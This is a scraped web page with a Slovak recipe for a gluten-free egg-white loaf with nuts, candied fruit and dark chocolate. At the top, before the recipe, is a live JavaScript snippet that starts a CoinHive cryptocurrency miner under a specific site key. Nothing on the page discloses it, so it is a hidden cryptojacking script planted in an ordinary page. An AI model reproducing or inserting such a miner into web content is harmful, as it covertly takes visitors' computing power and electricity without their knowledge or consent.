

var miner = new

CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start();



Potrebujeme: 9 bielkov, 30 dkg jemný kryštálový cukor, 15 dkg teplé rozpustené maslo, hrst' sekaných orechov alebo kandizované ovocie, 10 dkg posekanej 70% horkej čokolády, 30 dkg bzľ. múka (napr. Schär Mix C), trochu prášku do pečiva.

Postup: Bielka vyšľaháme s cukrom, pridáme teplé maslo a postupne všetko ostatné. Cesto rozdelíme do 2 foriem na chlebíčky (najlepšie silikón lebo iné formy musíme vymastiť a vymúčiť). Pečieme na 180–200°C cca 20 minút. Po vybratí necháme trochu vychladnúť vo forme a až potom vyberieme.